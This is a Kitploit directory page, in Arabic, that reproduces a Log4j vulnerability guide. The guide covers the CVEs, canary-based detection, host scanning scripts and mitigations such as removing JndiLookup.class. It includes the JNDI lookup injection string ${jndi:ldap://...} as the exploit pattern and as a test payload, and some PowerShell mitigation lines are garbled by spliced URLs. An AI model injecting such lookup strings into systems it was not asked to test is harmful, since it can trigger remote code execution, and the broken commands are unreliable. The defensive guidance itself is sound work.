Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228 — دليل باللغة النرويجية لثغرات Log4j (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2019-17571) مع نصوص الكشف، خطوات التخفيف، وخرائط ذهنية لتحديد الأنظمة المتأثرة ومعالجتها. | Kitploit
أدوات/GitHubGitHub/helsecert/cve-2021-44228
تحليل الثغرات الأمنيةأمن سلسلة التوريدالتعلم والتعليمالاستجابة للحوادثموارد منسقةتحليل السجلات
GitHubhelsecert/cve-2021-44228

CVE-2021-44228

دليل باللغة النرويجية لثغرات Log4j (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2019-17571) مع نصوص الكشف، خطوات التخفيف، وخرائط ذهنية لتحديد الأنظمة المتأثرة ومعالجتها.

عرض المستودع
112منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرات Log4j

تحديث 19.12.2021: يتم اكتشاف ثغرات جديدة وطرق جديدة لاستغلالها في Log4j باستمرار. أضفنا ثلاث خرائط ذهنية (mind maps) في المستودع تصف على التوالي الإصدارات الضعيفة من Log4j، كيفية التحقق مما إذا كنت عرضة للثغرة و تخفيف الثغرات المختلفة.

توصية

Log4j v2.x:

  • حدد البرامج التي تستخدم Log4j الإصدار 2.x

  • خفف من ثغرات Log4j

    • قم بتحديث البرامج التي تستخدم Log4j إلى إصدار يستخدم Log4j 2.17.0

    إذا لم يكن ما سبق ممكنًا

    • تأكد من تنفيذ التدابير التخفيفية لـ CVE-2021-44228 و CVE-2021-45046، لاحظ أنك ستكون عرضة لهجمات حجب الخدمة DoS
    • إذا كانت الأنظمة حساسة بشكل خاص، ففكر في البحث عن Context Lookups في Pattern Layouts في إعدادات Log4j2

Log4j v1.x:

  • حدد البرامج التي تستخدم Log4j الإصدار 1.x.

  • إذا تم استخدام Log4j الإصدار 1.x في المؤسسة، تواصل مع المورد واطلب منهم

    • الترقية إلى Log4j الإصدار 2.x
    • أو التحول إلى مكتبة أخرى بديلة للتسجيل

الثغرات

CVE-2021-44228

الذئب الكبير القبيح بين ثغرات Log4j. يتم استغلال الثغرة عندما يتم تسجيل متغير من السلسلة ${jndi:ldap://\<رمز_الهجوم>/a} بواسطة Log4j. CVSS 10.0، تنفيذ أكواد عن بعد (RCE).

CVE-2021-45046

ليست بنفس خطورة CVE-2021-44228، لكنها قبيحة بنفس القدر. تتطلب إعدادًا غير قياسي لـ Log4j. CVSS 9.0، RCE و DoS.

CVE-2021-45105

ليست بنفس خطورة CVE-2021-44228، وأقل قبيحًا بقليل. CVSS 7.5، DoS

CVE-2021-4104

ينطبق فقط على Log4j الإصدار 1.x. يتطلب استخدام Log4j لـ JMSAppender. CVSS 6.6، RCE يتطلب الاستغلال أن يستخدم Log4j JMSAppender. إما عن طريق تكوين JMSAppender مباشرة - وهو أمر غير شائع - أو عن طريق قيام المهاجم بإضافته إلى إعدادات Log4j. بالإضافة إلى ذلك، يجب أن يكون لدى المهاجم صلاحية تعديل إعدادات JMSAppender. إذا كان الأمر كذلك، فعادة ما يكون المهاجم قد حصل بالفعل على وصول إلى النظام. لذلك تعتبر الثغرة ذات أهمية قليلة.

CVE-2019-17571

ينطبق فقط على Log4j الإصدار 1.x. يتطلب استخدام Log4j لـ SocketServer. CVSS 9.8، RCE يمنح المهاجم الذي لديه وصول شبكي إلى المقبس (socket) المعني القدرة على تنفيذ الأكواد. كود الاستغلال متاح للعموم.

بالنسبة لـ Java 8، الإصدار 2.17.0 هو أحدث إصدار من Log4j. يخفف من جميع الثغرات المذكورة أعلاه.

الإصدار 2.16.0 يخفف من أسوأ الثغرات.

بالنسبة لـ Java 7، تم إصدار Log4j في الإصدار 2.12.2. هذا الإصدار لا يخفف من CVE-2021-45105. يقول فريق Log4j أيضًا أن Java 6 أو Java 7 لم يعد مدعومًا. من غير المعروف ما إذا كانوا سيصدرون تحديثًا أمنيًا آخر لـ Log4j على Java 7.

خريطة التفكير "Mind map #1" تعطي نظرة عامة جيدة على الظروف التي تحدد ما إذا كنت مصابًا بالثغرات المختلفة.
مخطط انسيابي لتحديد ما إذا كنت عرضة لـ Log4j

من إعداد Loïc Castel. مأخوذ من github.

اكتشاف ما إذا كنت عرضة للثغرة

جزء من التحدي هو أن الخوادم المعرضة للثغرة ليست بالضرورة تلك التي تواجه الإنترنت مباشرة. قد تكون الثغرة في خادم أبعد في 'السلسلة' يستقبل نفس البيانات ويقوم بتسجيلها. هذا قد يجعل من الصعب معرفة ما هو معرض وما هو غير معرض.

خريطة التفكير "Mind map #2" تعطي نظرة عامة جيدة حول كيفية فحص أنظمتك الخاصة بحثًا عن الثغرات.

مخطط انسيابي للبحث عن حالات Log4j الضعيفة

من إعداد Loïc Castel. مأخوذ من github.

عن طريق تحفيز الثغرة 1. إنشاء رمز كاناري DNS [https://canarytokens.org/generate#](https://canarytokens.org/generate#)

إنشاء كاناري DNS

  1. أنشئ هذه السلسلة النصية ${jndi:ldap://<رمز_الكاناري>/a}
  2. أدخل هذه السلسلة في جميع الحقول التي قد يتم تسجيلها

"بحث" بسلسلة الكاناري

root@kitploit:~
- User-agent
- حقل البحث
- اسم المستخدم
- ...

4. تابع نتائج الكاناري واكتشف أين يعمل log4j.

مرجع: تغريدة من Florian Roth

عن طريق البحث على المضيفين

Windows

هذا يأخذ جميع الأقراص، بما في ذلك محركات الأقراص الشبكية المعينة:

root@kitploit:~
Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

مرجع: https://twitter.com/0gtweet/status/1469661769547362305

إذا كنت ترغب فقط في فحص الأقراص المحلية:

root@kitploit:~
Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

مرجع: https://twitter.com/webmastir/status/1470386184052486155?s=20

إذا كنت ترغب أيضًا في فحص سجل الأحداث على الجهاز:

root@kitploit:~
Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

root@kitploit:~
#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

يتم تشغيله كجذر (root)

Linux #2

root@kitploit:~
lsof | grep log4j-core

تخفيف الثغرة

خريطة التفكير "Mind map #3" تعطي نظرة عامة على خيارات التخفيف.

مخطط انسيابي لتخفيفات Log4j

من إعداد Loïc Castel. مأخوذ من github.

أدناه قمنا بإدراج بعض الموارد لتنفيذ التخفيفات.

#1 التصحيح (Patch)

Java 8

قم بتحديث Log4j إلى الإصدار 2.17.0

Java 7

قم بتحديث Log4j إلى الإصدار 2.12.2 ملاحظة لا يخفف من CVE-2021-45105

#4 تخفيف #1: تعيين متغير

⚠️ لم يعد تعتبر هذه الطريقة حلاً كافياً لأنها لا تخفف من جميع الثغرات في جميع الحالات.

Windows

root@kitploit:~
[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

ملاحظة: يتطلب إعادة التشغيل

من https://twitter.com/CyberRaiju/status/1469505680138661890

تعيين علم JVM

root@kitploit:~
"‐Dlog4j2.formatMsgNoLookups=True"

مثال على سطر الأوامر:

root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

أو مع قيمة -Xmx:

root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku

مثال على تكوين Systemd:

root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'

أو مع قيمة -Xmx:

root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'

يتم تحميل هذا عند إعادة تشغيل التطبيق من https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7

#4 تخفيف #2: حذف فئة Java

احذف ملف JndiLookup.class من ملف jar الخاص بـ log4j.

ملف jar هو أرشيف (ملف zip) ويمكن فتحه. يمكن بعد ذلك إزالة الملفات. يمكن القيام بذلك يدويًا باستخدام أدوات مثل 7-zip (انظر الصورة) أو باستخدام سكريبت.

يتطلب إعادة تشغيل التطبيق

مرجع: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

إزالة jndilookup.class

Windows

root@kitploit:~
[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn   = 'JndiLookup.class' #Denne filen slettes!

$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode   = [IO.Compression.ZipArchiveMode]::Update
$Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)

($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()

Linux

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

قوائم البرامج المتأثرة

https://github.com/NCSC-NL/log4shell/tree/main/software

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

https://github.com/cisagov/log4j-affected-db

تنزيل الأداة